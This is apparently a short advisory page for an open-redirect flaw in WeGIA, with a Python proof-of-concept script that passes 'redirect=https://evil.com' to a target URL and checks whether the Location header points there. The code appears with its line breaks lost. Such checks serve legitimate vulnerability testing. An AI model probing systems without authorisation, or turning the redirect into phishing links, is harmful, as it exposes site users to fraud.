CVE-2026-35474 WeGIA开放重定向漏洞

import requests def check_open_redirect(url): """Check for Open Redirect vulnerability in WeGIA.""" # Malicious target URL to test redirection evil_site = "https://evil.com" # The vulnerable parameter is 'redirect' based on the description full_url = f"{url}?redirect={evil_site}" try: # Send request without following redirects to catch the Location header response = requests.get(full_url, allow_redirects=False) if response.status_code == 302 or response.status_code == 301: location_header = response.headers.get('Location') if location_header and evil_site in location_header: print(f"[+] Vulnerability Confirmed! Redirecting to: {location_header}") return True print("[-] Vulnerability not detected.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://localhost/wegia/index.php" # Replace with actual target check_open_redirect(target)